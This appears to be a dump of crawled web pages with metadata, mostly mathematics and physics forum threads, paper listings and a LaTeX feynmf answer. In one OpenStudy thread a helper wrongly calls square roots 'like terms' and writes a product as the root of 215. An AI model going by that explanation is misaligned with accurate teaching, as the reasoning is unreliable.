Text: ### Discrete cosine-sine type VII transform and fast integer transforms for intra prediction of images and video coding. (English. Ukrainian original)Zbl 1479.94029 Cybern. Syst. Anal. 57, No. 5, 827-835 (2021); translation from Kibern. Sist. Anal. 57, No. 5, 175-185 (2021). Full Text: ### A numerical framework for elastic surface matching, comparison, and interpolation. (English)Zbl 1483.68425 MSC: 68T45 65D18 65D19 Full Text: MSC: 68T45 Full Text: ### The isowarp: the template-based visual geometry of isometric surfaces. (English)Zbl 1483.68426 MSC: 68T45 68U05 Full Text: MSC: 68T45 Full Text: ### Deep human-interaction and association by graph-based learning for multiple object tracking in the wild. (English)Zbl 1483.68438 MSC: 68T45 68T07 Full Text: ### Learning adaptive classifiers synthesis for generalized few-shot learning. (English)Zbl 1483.68451 MSC: 68T45 62H30 68T05 Full Text: ### Evaluating visual properties via robust HodgeRank. (English)Zbl 1483.68449 MSC: 68T45 62F07 Full Text: ### Adaptive channel selection for robust visual object tracking with discriminative correlation filters. (English)Zbl 1483.68450 MSC: 68T45 68T05 94A08 Full Text: ### Deformable image registration based on functions of bounded generalized deformation. (English)Zbl 1483.68443 MSC: 68T45 68U10 Full Text: ### Complete singularity analysis for the perspective-four-point problem. (English)Zbl 1483.68444 MSC: 68T45 68U05 Full Text: ### Parallel single-pixel imaging: a general method for direct-global separation and 3D shape reconstruction under strong global illumination. (English)Zbl 1483.68432 MSC: 68T45 68U10 Full Text: ### Rectified binary convolutional networks with generative adversarial learning. (English)Zbl 1483.68344 MSC: 68T07 68T10 68T45 Full Text: MSC: 68T45 Full Text: ### Adaptive dimension-discriminative low-rank tensor recovery for computational hyperspectral imaging. (English)Zbl 1483.68448 MSC: 68T45 68U10 Full Text: ### A decomposable Winograd method for N-D convolution acceleration in video analysis. (English)Zbl 1483.68431 MSC: 68T45 68T07 94A08 Full Text: ### Compositional convolutional neural networks: a robust and interpretable model for object recognition under occlusion. (English)Zbl 1483.68433 MSC: 68T45 68T07 Full Text: MSC: 68T45 Full Text: ### Unsupervised domain adaptation in the wild via disentangling representation learning. (English)Zbl 1483.68437 MSC: 68T45 68T05 68T10 Full Text: ### Recursive context routing for object detection. (English)Zbl 1483.68427 MSC: 68T45 68T07 Full Text: MSC: 68T45 Full Text: MSC: 68T45 Full Text: MSC: 68T45 Full Text: ### Image matching from handcrafted to deep features: a survey. (English)Zbl 1483.68439 MSC: 68T45 68T07 68U10 Full Text: ### Towards the automatic mathematician. (English)Zbl 07437070 Platzer, André (ed.) et al., Automated deduction – CADE 28. 28th international conference on automated deduction, virtual event, July 12–15, 2021. Proceedings. Cham: Springer. Lect. Notes Comput. Sci. 12699, 25-37 (2021). MSC: 03B35 68V15 Full Text: Full Text: ### Deep convolutional neural network for the classification of COVID-19 from chest X-ray images. (English)Zbl 1475.92094 Khamparia, Aditya (ed.) et al., Computational intelligence for managing pandemics. Berlin: De Gruyter. Intell. Biomed. Data Anal. 5, 259-292 (2021). MSC: 92C55 68T07 68T45 Full Text: MSC: 68Txx Full Text: Full Text: ### 3D point cloud analysis. Traditional, deep learning, and explainable machine learning methods. (English)Zbl 1476.68004 Cham: Springer (ISBN 978-3-030-89179-4/hbk; 978-3-030-89182-4/ebook; 978-3-030-89180-0/ebook). xiv, 146 p. (2021). Full Text: ### An integrated feature matching algorithm. (Chinese. English summary)Zbl 07403946 MSC: 68T10 62H25 68T45 Full Text: ### Multi-view sparse measurement for image-based rendering method. (Chinese. English summary)Zbl 07403500 MSC: 68T45 68U10 Full Text: Full Text: MSC: 37M99 Full Text: ### Visual attentional-driven deep learning method for flower recognition. (English)Zbl 1471.92221 MSC: 92C80 68T07 68T45 Full Text: ### A comparative study for glioma classification using deep convolutional neural networks. (English)Zbl 1471.92184 MSC: 92C55 68T07 68T45 Full Text: Full Text: ### Simultaneous estimation of Euclidean distances to a stationary object’s features and the Euclidean trajectory of a monocular camera. (English)Zbl 1471.93109 MSC: 93B53 93D23 68T45 Full Text: Full Text: ### Learning optical flow for fast MRI reconstruction. (English)Zbl 07381891 MSC: 68T45 94A08 68U10 Full Text: ### Mathematical methods in image processing and inverse problems. Selected papers based on the presentations at the international workshop on image processing and inverse problems, IPIP 2018, Beijing, China, April 21–24, 2018. (English)Zbl 1476.68015 Springer Proceedings in Mathematics & Statistics 360. Singapore: Springer (ISBN 978-981-16-2700-2/hbk; 978-981-16-2701-9/ebook). x, 223 p. (2021). Full Text: ### Scale space and variational methods in computer vision. 8th international conference, SSVM 2021, virtual event, May 16–20, 2021. Proceedings. (English)Zbl 1476.68011 Lecture Notes in Computer Science 12679. Cham: Springer (ISBN 978-3-030-75548-5/pbk; 978-3-030-75549-2/ebook). xiv, 580 p. (2021). MSC: 68-06 68T45 00B25 Full Text: ### Multi-view clustering algorithm based on subspace fusion. (Chinese. English summary)Zbl 1474.68395 MSC: 68T45 62H30 68T05 Full Text: all top 5 all top 5 all top 5 all top 3 all top 3 all top 3	2022-08-16 09:24:15	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5479256510734558, "perplexity": 11652.946599574683}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882572286.44/warc/CC-MAIN-20220816090541-20220816120541-00450.warc.gz"}
http://openstudy.com/updates/500ce9b9e4b0549a89329b42	## roseandgi Group Title Square roots of 2 multiply by square roots of 15 2 years ago 2 years ago 1. Romero Group Title $\sqrt{2}* \sqrt{15}$Is this it? 2. roseandgi Group Title Yes 3. Romero Group Title you can combine them because there are like terms. What makes them like terms is that both have square roots. You can do this $\sqrt{2} \sqrt{15}$$\sqrt{215}$ 4. Romero Group Title Can you further simplify that? All you have to do is multiply 15 and 2 5. roseandgi Group Title Square roots 30 6. roseandgi Group Title Thanks 7. Romero Group Title yup good job 8. roseandgi Group Title If x>2,then x exponent 2 -x -6 is divided by x exponent 2 -4 9. roseandgi Group Title If x>2,then x exponent 2 -x -6 is divided by x exponent 2 -4	2014-08-21 14:19:40	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5323050022125244, "perplexity": 7554.371644044599}, "config": {"markdown_headings": true, "markdown_code": false, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2014-35/segments/1408500816424.18/warc/CC-MAIN-20140820021336-00453-ip-10-180-136-8.ec2.internal.warc.gz"}
https://www.gamedev.net/forums/topic/619218-space-sim-orienting-ai-ships-to-pursue-target/	# Space Sim -- Orienting AI ships to pursue target This topic is 2819 days old which is more than the 365 day threshold we allow for new replies. Please post a new topic. ## Recommended Posts Hello Everyone, My main question has to do with the AI ship's movement system. I know that I want a 'simple' On Rails system where ships move only in the direction they are pointed. With regards to that, I would like to know how alignment rotations are generally calculated. For example: I have a ship facing some direction at some point in space and I want to it too yaw/pitch to face a target position. How does this look in code or pseudo code when using radial rotations and a maximum turning speed on each axis of rotation? The way I had been trying to go about it was to calculated the ship's desired orientation and do angular comparisons between desired alignment planes and my ship's current planes, though I never got it working. I also messed around with using half-space comparisons to determine whether the target was above/below or left/right of my AI. This worked nicely but once the alignment was close, I wasn't sure how not to continually overshoot my target and then rotate back. (it ended up facing the right direction and jittering back and forth very very quickly) I am trying to do this all with the idea of building blocks in mind. I'd like to have things be reusable so that I can combine a handful of behaviors into more complex behaviors. (though that may be too much to worry about at this point.) I would really appreciate any help with regards to this, and would welcome any suggestions regarding AI design for space combat sims as this is my first foray into this type of development. Thanks everyone ##### Share on other sites I'm not too pro at AI's, so I can't give many suggestions. However, I can help out with this problem I believe. It sounds like you are treating each rotation separately, so that makes it easier. Let's focus on pitch. Yaw is exactly the same, and can be done at the same time. So, your space ship currently has a certain pitch, which I will call P, and the pitch that he wants to have, I will call Q. We just need to figure out how to get from P to Q without going faster than your speed limit. Here is some pseudo-code for one possible solution: if (P + max_speed <= Q) P = P + max_speed else if (P - max_speed >= Q) P = P - max_speed else P = Q max_speed is the maximum rotation speed. The reason we test if (P + max_speed <= Q) is because we want to add max_speed as long as it does not shoot above Q. If it would shoot above Q, it is instead set equal to Q. If that made sense, that solves your "jittering back and forth" problem. Just a quick note, I would suggest an acceleration-based method, which looks similar to the above, but controls velocity instead of rotation directly. This just makes it look smoother, but I recommend you get working code before going fancy. EDIT: The way I had been trying to go about it was to calculated the ship's desired orientation and do angular comparisons between desired alignment planes and my ship's current planes, though I never got it working. [/quote] Upon a reread of your post, it seems that perhaps your issue is actually just calculating the correct angles. This may be a little complex in 3d, depending on your math skills. Say the position of your ship is A and the target ship is B. The direction you want your ship to face is B - A, and we want to find this vector's rotation around the x-axis (for pitch; yaw is around the y-axis). In order to do this, we need to project the vector onto the YZ-plane. Then you just find the rotation of this 2d vector using a simple 2d rotation on the YZ-plane. So in code: Vector3 direction = B - A Angle pitch = arctan (direction.y / direction.z) Angle yaw = arctan (direction.z / direction.x) // assuming that a 0 degree yaw means you are facing the z-direction ##### Share on other sites I always used a fairly simple vector-based approach; if enemy is at P and you're at Q, orient towards the vector (P - Q). If you have a good math library at your disposal (and who doesn't these days?) this is pretty trivial to write. The gist of it is in bpx95's post already. As for steering, look up "steering behaviors" for the AI side. Particularly, look into "boids" and "arrival forces" - that'll give you the basics on how to gently adjust towards (and eventually arrive at) a target position/orientation without jittering. ##### Share on other sites Thank you both, I think I got it now • ### Game Developer Survey We are looking for qualified game developers to participate in a 10-minute online survey. Qualified participants will be offered a \$15 incentive for your time and insights. Click here to start! • 11 • 23 • 38 • 75	2019-10-16 14:50:49	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4247870445251465, "perplexity": 1071.4895420066966}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570986668994.39/warc/CC-MAIN-20191016135759-20191016163259-00276.warc.gz"}
https://www.physicsforums.com/threads/limits-question-lhopitals-rule.198408/	# Limits question L'Hopitals rule 1. Nov 15, 2007 ### Sags 1. The problem statement, all variables and given/known data lim (sin(x)/x)^(1/X^2) x->0 2. Relevant equations for the life of me i cannot get the correct solution 3. The attempt at a solution Ive tried taking the log of both sides etc and working from there then applying l'hopitals rule until i get a result but the answer i always get is e^(-1/2) but the answer is e^(-1/6) any help would be much appreciated 2. Nov 15, 2007 ### Dick e^(-1/6) is correct. And that's the way to do it alright. But there is no way to tell why you get e^(-1/2) unless you show us what you did. 3. Nov 15, 2007 ### Sags lim (sin(x)/x)^(1/X^2) x->0 let y = (sin(x)/x)^(1/X^2) ln y = (ln(sin(x)/x))^(1/X^2) ln y = (ln(sin(x)/x))/(X^2) ln y = (ln sin(x) - ln(x))/(X^2) apply l'hopital's rule = (cos(x)/sin(x) - 1/y)/2X apply l'hotital's rule again = (-sin(x)/cos(x) -1/1)/2 and from there i get = -1/2 then y = e^(-1/2) Last edited: Nov 15, 2007 4. Nov 15, 2007 ### HallsofIvy Staff Emeritus How did y get over on the right side? Applying L'Hopital's rule gives you $$\frac{\frac{cos(x)}{sin(x)}- 1/x}}{2x}$$ so I assume the "1/y" was "1/x". That reduces to $$\frac{xcos(x)- sin(x)}{2x^2sin(x)$$ You are also differentiating incorrectly. The derivative of cos(x)/sin(x) is NOT (cos(x))'/(sin(x))' and the derivative of 1/x is NOT1/(x)'!	2016-12-08 12:01:07	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8502617478370667, "perplexity": 3812.9099496420804}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2016-50/segments/1480698542588.29/warc/CC-MAIN-20161202170902-00320-ip-10-31-129-80.ec2.internal.warc.gz"}
https://www.cut-the-knot.org/arithmetic/algebra/MonthlyProblem11199.shtml	# Monthly Problem 11199 ### Introduction It's so happened that I've posting lately various inequalities, supplied mostly by a Romanian team of Leonard Giugiuc, Daniel Sitaru, Dorin Marghidanu, and Marian Dincu. This activity on twitter.com has attracted attention of Marc Chamberland (TPointMath, https://www.youtube.com/user/TippingPointMath.) Marc has suggested that a paper by an Austrian colleague of his, Manuel Kauers, that deals with automatic solution of inequalities, might be of interest. One sample inequality discussed in the paper was the Monthly problem 11199. When submitted to CAD (Cylindrical Algebraic Decomposition), it engendered the output "true." While this is a definite achievement, the algorithm underlying CAD is doubly exponential and at present cannot compete with human ingenuity. Thus I consider below the problem 11199 (Yakub Aliyev, Baku State University, Baku, Azerbaijan) and the solution (Monthly, August-September 2007, p 649) by David B. Leep (University of Kentucky, Lexington, KY.) The solution leads naturally to a modified problem whose solution has been devised by Leo Giugiuc. ### Solution to Problem 11199 Introduce function $s_1=a+b+c,\;$ $s_2=ab+bc+ca,\;$ and $s_3=abc.\;$ Observe that \begin{align} s_1^3s_2 &+ 48s_2s_3 - 25s_1^2s_3\\ &= a(b - c)^2(3a - b - c)^2 + b(c - a)^2(3b - c - a)^2 + c(a - b)^2(3c - a - b)^2\\ &\ge 0. \end{align} Since $s_1=1,\;$ this gives $s_2 + 48s_2s_3 - 25s_1^2s_3\ge 0\;$ which rearranges into the required inequality. ### Modification Note that the same expression that was the key to solving the problem 11199 applies with the same ease to solve an apparently different problem: For positive $a,b,c,\;$ with $abc=1,\;$ prove that $\displaystyle ab+bc+ca\ge\frac{25(a+b+c)^2}{(a+b+c)^3+48}.$ ### Homogenization, or Solution 2 to the Modification Since $abc=1,\;$ we may as well prove $\displaystyle\frac{ab+bc+ca}{abc}\ge\frac{25(a+b+c)^2}{(a+b+c)^3+48abc},\;$ $a,b,c\gt 0,\;$ without additional constraints. One way of doing that is by introducing, perhaps paradoxically, a constraint. Let, WLOG, $a+b+c=3.$ Then, by a theorem disovered independetly by Leo Giugiuc, Vo Quoc Ba Can, and probably others, there is $t\in [0,1)\;$ such that $ab+bc+ca\le 3(1-t^2)\;$ and $abc\le(1-t)^2(1+2t).\;$ Our inequality is equivalent to $9(1-t^2)-(9+16t^2)abc\ge 0.\;$ Thus, suffice it to prove a stronger inequality: $9(1-t^2)-(9+16t^2)(1-t)^2(1+2t)\ge 0.$ But the latter can be rearranged into $2(1-t)t^2(4t-1)^2\ge 0\;$ which is clearly true for $t\in [0,1).$ Observe that the equality holds if $a=b=c=1\;$ or $\displaystyle a=b=\frac{3}{4}\;$ and $\displaystyle c=\frac{3}{2}.\;$ More generally, it holds for $a=b=c\gt 0\;$ or $c=2a=2b,\;$ $a,b,c\gt 0,\;$ and the permutations. ### Homogenization, or Solution 2 to the Problem 11199 Note that to prove $\displaystyle\frac{ab+bc+ca}{abc}\ge\frac{25(a+b+c)^2}{(a+b+c)^3+48abc},\;$ we could have taken $a+b+c=1\;$ which would have produced the original problem 11199. We would then have $\displaystyle ab+bc+ca\le \frac{1-t^2}{3}\;$ and $\displaystyle abc\le\frac{(1-t)^2(1+2t)}{27},\;$ but, otherwise the reasoning (i.e., algebra) would be about the same. Thus we can see that 1. Leo Giugiuc's solution of the modification also solves the original problem. 2. Moreover, via the process of the homogenization, the two problems are not just equivalent, they are two views of one and the same problem.	2022-12-04 23:37:57	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 1, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.7905345559120178, "perplexity": 1356.9739297205394}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-49/segments/1669446710980.82/warc/CC-MAIN-20221204204504-20221204234504-00518.warc.gz"}
https://tex.stackexchange.com/questions/216441/missing-labels-on-feynman-graph-using-feynmf	# Missing labels on Feynman Graph using feynmf I'm trying to create a Feynman graph using the feynmf package. My minimal example is \documentclass{article} \usepackage{feynmf} \begin{document} \begin{fmffile}{diagram} \begin{fmfgraph}(40,25) \fmfleft{i1,i2} \fmfright{o1,o2} \fmfbottom{b} \fmf{fermion}{i2,v1,o2} \fmf{photon}{v1,b} \fmflabel{i1}{i1} \fmflabel{i2}{i2} \fmflabel{o1}{o1} \fmflabel{o2}{o2} \fmflabel{b}{b} \end{fmfgraph} \end{fmffile} \end{document} After compiling once, I have the graph but not the labels (as expected, I guess...). I get the error pdflatex> feynmf: Label file diagram.t1 not found: pdflatex> feynmf: Process diagram.mf with METAFONT and then reprocess this file. OK, so I do as told and try to process the .mf file with Metafont in my terminal (using Xubuntu) with mpost diagram.mf And then I get stuck. It starts then stops with a question mark, and I don't know how to proceed or what Metapost is trying to tell me: This is MetaPost, version 1.803 (kpathsea version 6.1.1) (mpost.mp (/usr/share/texlive/texmf-dist/metapost/base/plain.mp (/usr/share/texmf/metafont/feynmf/feynmf.mf >> mode_setup ! Isolated expression. ; l.117 mode_setup; ? Can anyone help? How can I get my labels? Thanks a lot! The program to call is not Metapost, but Metafont: mf diagram.mf However, it's better to use feynmp that has the same syntax and produces Metapost files: you'll get diagram.mp and running mpost diagram.mp will do. There's another possibility: \documentclass{article} \usepackage{feynmp-auto} % or \usepackage{feynmp} \begin{document} \begin{fmffile}{diagram} \begin{fmfgraph}(40,25) \fmfleft{i1,i2} \fmfright{o1,o2} \fmfbottom{b} \fmf{fermion}{i2,v1,o2} \fmf{photon}{v1,b} \fmflabel{i1}{i1} \fmflabel{i2}{i2} \fmflabel{o1}{o1} \fmflabel{o2}{o2} \fmflabel{b}{b} \end{fmfgraph} \end{fmffile} \end{document} The package feynmp-auto (which I'm the author of) even avoids the need of running manually mpost: the diagram is compiled at the end of a run (with pdflatex only if the source has been modified in the current LaTeX run) and will correctly place it at the next LaTeX run.	2019-10-23 00:42:39	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8366799354553223, "perplexity": 5790.292066423964}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-43/segments/1570987826436.88/warc/CC-MAIN-20191022232751-20191023020251-00462.warc.gz"}
https://socratic.org/questions/what-is-the-distance-between-6-3-4-and-9-10-2	# What is the distance between (-6,3,-4) and (-9,10,2)? $\sqrt{94}$ The distance formula between two points in 2D is sqrt((x_1-x_0)^2+(y_1-y_0)^2. The distance formula between two points in 3D is similar: $\sqrt{{\left({x}_{1} - {x}_{0}\right)}^{2} + {\left({y}_{1} - {y}_{0}\right)}^{2} + {\left({z}_{1} - {z}_{0}\right)}^{2}}$. We just need to substitute the values in: $\sqrt{{\left({x}_{1} - {x}_{0}\right)}^{2} + {\left({y}_{1} - {y}_{0}\right)}^{2} + {\left({z}_{1} - {z}_{0}\right)}^{2}} = \sqrt{{\left(- 9 - \left(- 6\right)\right)}^{2} + {\left(10 - 3\right)}^{2} + {\left(2 - \left(- 4\right)\right)}^{2}} = \sqrt{94}$.	2021-10-23 14:10:04	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 4, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9550381302833557, "perplexity": 433.90874390557246}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-43/segments/1634323585696.21/warc/CC-MAIN-20211023130922-20211023160922-00684.warc.gz"}
https://kbbox.h-its.org/toolbox/tutorials/prediction-of-the-rate-of-formation-of-a-protein-protein-complex/	Summary This tutorial describes the use of SDA to perform Brownian dynamics simulations to predict the bimolecular diffusional association rate constant for the formation of a protein-protein complex. Instructions The instructions for this tutorial are in the following PDF files: The file required for the calculations are available here.	2021-05-08 21:30:18	{"extraction_info": {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.8204717040061951, "perplexity": 2457.956187211136}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 20, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-21/segments/1620243988927.95/warc/CC-MAIN-20210508211857-20210509001857-00454.warc.gz"}
https://www.physicsforums.com/threads/mythbusters-mistake.401153/	# Mythbusters Mistake 1. May 5, 2010 ### danielatha4 Mythbusters mistake: They are currently testing that two cars impacting each other at 50mph each is similar to one hitting a solid wall at 100mph. Regardless of this possible result, their small scale is bugging me. The rig consists of a swinging arm, like a pendulum, and they are measuring the force exerted by the hammer coming down completely vertical and hitting a solid steel rod as an analogue for a solid wall. However, to compare what they say as “x” velocity and “2x” velocity they are starting the hammer at 45 degrees above the down/vertical to simulate “x” velocity and 90 degrees from the down/vertical to simulate the “2x” velocity. Does anyone else realize that the change in height for the “x” velocity test will be sqrt(2)/2 and NOT 1/2 of the 90 degree, “2x” velocity, drop? Basic energy principle calculations will show that the 90 degree drop will not generate 2 times the velocity as the 45 degree drop. Thus, they should have used 90 degrees as “2x” velocity and 60 degrees as the “x” velocity. Last edited: May 5, 2010 2. May 5, 2010 ### danielatha4 Oh yeah, also that a downward swing pendulum will already be accelerating in the x direction due to circular motion. Taking away from the force exerted by the wall analogue. 3. May 5, 2010 ### danielatha4 Ok sorry, I have to beat a dead horse here. Not only is 45 degrees not half the height but it also won't yield what was thought to be half the velocity due to the energy principle relation. v^2 is proportional to h so in order to half the velocity we would have to find 1/4 h (if h=1 for V and we're trying to find (1/2)V) does anyone know at what degrees would make the hammer 1/4 of the full height up? 4. May 5, 2010 ### SpectraCat Well, I also think their calculations are wrong, but not quite in the way that you are implying. The perpendicular velocity of a pendulum at its aphelion is given by $$\sqrt{k(1-cos\theta)}$$ where k is a constant and theta is the maximum angle. So for your case you need to set up the ratio: $$\frac{v_{90}}{v_{45}}=\sqrt{\frac{1-cos(90)}{1-cos(45)}}}=\sqrt{\frac{2}{2-\sqrt{2}}}~=1.847$$ So it is definitely too far off for their purposes IMO, but not by as much as you are implying. Last edited: May 5, 2010 5. May 6, 2010 ### danielatha4 Right, I calculated that the "half velocity" angle to drop from should be about 41 degrees. Which works with the equations... This has annoyed me. 6. May 6, 2010 ### diazona They often aren't particularly precise with the small-scale models, although you could argue that being precise isn't the point of small scale. (Usually, it isn't even the point of the show) But it would be nice to mention that they're only using a rough calculation in a case like this. 7. May 6, 2010 ### lurflurf Watch more closely the 2x angle is labeled 90 degrees and the 1x angle is clearly labled 49 degrees which is close to Arcsin(.75)~48.59037789... as desired. 8. May 7, 2010 ### diazona Yeah, I just noticed this: http://scienceblogs.com/dotphysics/2010/05/mythbusters_and_double_the_spe.php [Broken] (I haven't seen the episode yet... clearly I need to get on that) Last edited by a moderator: May 4, 2017 9. May 7, 2010 ### danielatha4 Right! 41 from the bottom, 49 from the top. Touche Mythbusters. I'm just glad they didn't just put it at 45 like I initially thought they did.	2017-08-18 06:06:51	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6523577570915222, "perplexity": 1428.7899097876941}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2017-34/segments/1502886104565.76/warc/CC-MAIN-20170818043915-20170818063915-00650.warc.gz"}
